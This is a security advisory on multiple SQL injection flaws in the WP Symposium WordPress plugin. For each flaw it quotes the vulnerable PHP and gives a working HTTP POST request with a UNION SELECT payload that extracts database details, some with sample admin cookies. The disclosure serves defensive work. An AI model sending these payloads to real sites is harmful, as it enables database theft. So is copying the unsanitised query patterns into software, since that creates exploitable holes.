Advisory
Secunia Advisory SA 49534
Analysis of group_menu_settings vulnerability
The group_menu_settings function in /ajax/symposium_group_functions.php allows an user to show settings for a group. The function takes a POST parameter called “uid1″, which is used for a sql query.
1 2 3 4 5 6 7 8 |
// Show Group Settings if ($_POST['action'] == 'group_menu_settings') { global $wpdb, $current_user; $gid = $_POST['uid1']; $group = $wpdb->get_row($wpdb->prepare("SELECT * FROM ".$wpdb->prefix . 'symposium_groups WHERE gid='.$gid)); |
However due to an incorrect use of wpdb->prepare, the groupID is never sanitized. Also the function does not check user credentials until line 616, and as such allows for a SQL injection through a simple POST request like this:
1 2 3 4 5 6 7 |
POST /wordpress/wp-content/plugins/wp-symposium/ajax/symposium_group_functions.php HTTP/1.1 Host: 192.168.80.130 Content-Type: application/x-www-form-urlencoded Content-Length: 49 action=group_menu_settings&uid1=353535 OR 1 = 1 |
Analysis of loadComposeForm vulnerability
The loadComposeForm function in /ajax/symposium_mail_functions.php is used to fetch the display name of an userID through a simple SQL query like this:
1 2 3 4 5 6 7 8 9 |
// Load Compose Forum if ($_POST['action'] == 'loadComposeForm') { if (is_user_logged_in()) { $mail_to = $_POST["mail_to"]; $recipient = $wpdb->get_var("SELECT display_name FROM ".$wpdb->base_prefix."users WHERE ID = ".$mail_to); echo $recipient; |
It first checks if the user is logged in, and then takes to mail_to POST parameter and append it to the query. But because there is no validation that the mail_to variable is in fact an integer, we can make a POST request if we have an authentication cookie, and exploit this SQL injection vulnerability:
1 2 3 4 5 6 7 |
POST /wordpress/wp-content/plugins/wp-symposium/ajax/symposium_mail_functions.php HTTP/1.1 Host: 192.168.80.130 Cookie: wordpress_f3e14e7fde6969eb515c450fed50d259=admin%7C1340114858%7Ccb77d4fd4fcd2448f70ceefc746f38fe; wordpress_logged_in_f3e14e7fde6969eb515c450fed50d259=admin%7C1340114858%7C486bd8321f9973799f837e666abb40f4; Content-Type: application/x-www-form-urlencoded Content-Length: 63 action=loadComposeForm&mail_to=1335353 UNION SELECT @@version |
Analysis of getReply vulnerability
The getReply function in /ajax/symposium_mail_functions.php is used to fetch the display name of a recipient and message information about a particular mail.
1 2 3 4 5 6 7 8 9 10 |
// Get reply info if ($_POST['action'] == 'getReply') { if (is_user_logged_in()) { $mid = $_POST["mail_id"]; $recipient_id = $_POST["recipient_id"]; $recipient = $wpdb->get_var("SELECT display_name FROM ".$wpdb->base_prefix."users WHERE ID = ".$recipient_id); $mail_message = $wpdb->get_row("SELECT m.*, u.display_name FROM ".$wpdb->base_prefix."symposium_mail m LEFT JOIN ".$wpdb->base_prefix."users u ON m.mail_from = u.ID WHERE mail_mid = ".$mid); |
It first checks if the user is logged in, and then takes to mail_id and recipient_id POST parameter and stitches those into 2 SQL queries using simple concatenation. However due to a lack of validation of the parameters being integers, we can exploit this:
1 2 3 4 5 6 7 |
POST /wordpress/wp-content/plugins/wp-symposium/ajax/symposium_mail_functions.php HTTP/1.1 Host: 192.168.80.130 Cookie: wordpress_f3e14e7fde6969eb515c450fed50d259=admin%7C1340114858%7Ccb77d4fd4fcd2448f70ceefc746f38fe; wordpress_logged_in_f3e14e7fde6969eb515c450fed50d259=admin%7C1340114858%7C486bd8321f9973799f837e666abb40f4; Content-Type: application/x-www-form-urlencoded Content-Length: 162 action=getReply&recipient_id=1353533 UNION SELECT @@version&mail_id=335353 UNION SELECT @@version, user(), system_user(), database(), @@hostname, @@datadir, 7, 8, 9, 10 |
Analysis of symposium_openchat vulnerability
The symposium_openchat function in /ajax/symposium_bar_functions.php allows for opening a chat with another user on the site. It does so by getting the chat_to POST parameter, which si expected to be an integer, and then checks if that chat already exists:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 |
// Open chat if ($_POST['action'] == 'symposium_openchat') { global $wpdb, $current_user; if (is_user_logged_in()) { $chat_to = $_POST['chat_to']; $chat_from = $current_user->ID; $r = '; // check to see if they are already chatting if ($wpdb->query( $wpdb->prepare("SELECT chid FROM ".$wpdb->base_prefix."symposium_chat WHERE (chat_from = ".$chat_from." AND chat_to = ".$chat_to.") OR (chat_from = ".$chat_to." AND chat_to = ".$chat_from.")"))) { // clear the closed flag $sql = "DELETE FROM ".$wpdb->base_prefix."symposium_chat WHERE chat_message = '[closed-%d]' AND ( (chat_from = %d AND chat_to = %d) OR (chat_from = %d AND chat_to = %d) )"; $wpdb->query( $wpdb->prepare($sql, $chat_from, $chat_from, $chat_to, $chat_to, $chat_from) ); $r .= $chat_to; } else { if ( $rows_affected = $wpdb->insert( $wpdb->base_prefix . "symposium_chat", array( 'chat_to' => $chat_to, 'chat_from' => $chat_from, 'chat_message' => '[start]', 'chat_timestamp' => date("Y-m-d H:i:s") ) ) ) { $display_name = $wpdb->get_var($wpdb->prepare("SELECT display_name FROM ".$wpdb->base_prefix."users WHERE ID = ".$chat_to)); $r .= "OK[split]".$chat_to."[split]".$display_name; } } echo $r; |
If you’re logged in and the chat does not exist, on line 572 it will then insert a new chat and select the display name from the user table, and incorrectly use the wpdb_prepare function. By rather concatenating the ID in instead of passing it as a parameter, we can now select data out of the database like this:
1 2 3 4 5 6 7 |
POST /wordpress/wp-content/plugins/wp-symposium/ajax/symposium_bar_functions.php HTTP/1.1 Host: 192.168.80.130 Cookie: wordpress_f3e14e7fde6969eb515c450fed50d259=admin%7C1340114858%7Ccb77d4fd4fcd2448f70ceefc746f38fe; wordpress_logged_in_f3e14e7fde6969eb515c450fed50d259=admin%7C1340114858%7C486bd8321f9973799f837e666abb40f4; Content-Type: application/x-www-form-urlencoded Content-Length: 63 action=symposium_openchat&chat_to=3535 UNION SELECT @@version |
Analysis of getEditDetails vulnerability
The getEditDetails function in /ajax/symposium_forum_functions.php gets the contents of a post for the edit page.
1 2 3 4 5 6 7 8 |
// AJAX function to get topic details for editing if ($_POST['action'] == 'getEditDetails') { if (is_user_logged_in()) { $tid = $_POST['tid']; $details = $wpdb->get_row("SELECT * FROM ".$wpdb->prefix.'symposium_topics'." WHERE tid = ".$tid); |
It checks if you’re logged in, and then takes the tid POST parameter and concatenates it into a SQL query without casting it to an integer or otherwise sanitizes it. This means we can exploit it by making a request like this:
1 2 3 4 5 6 7 |
POST /wordpress/wp-content/plugins/wp-symposium/ajax/symposium_forum_functions.php HTTP/1.1 Host: 192.168.80.130 Cookie: wordpress_f3e14e7fde6969eb515c450fed50d259=admin%7C1340114858%7Ccb77d4fd4fcd2448f70ceefc746f38fe; wordpress_logged_in_f3e14e7fde6969eb515c450fed50d259=admin%7C1340114858%7C486bd8321f9973799f837e666abb40f4; Content-Type: application/x-www-form-urlencoded Content-Length: 149 action=getEditDetails&tid=2323 UNION SELECT system_user(), 2, @@datadir, @@version, user(), 6, 7, @@hostname, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18 |
Multiple blind injection spots in /ajax/symposium_mail_functions.php
On line 94, 101, 208, 210, 274, 276 in /ajax/symposium_mail_functions.php there is also a lack of validation of integer inputs, which allows for arbitrary query execution.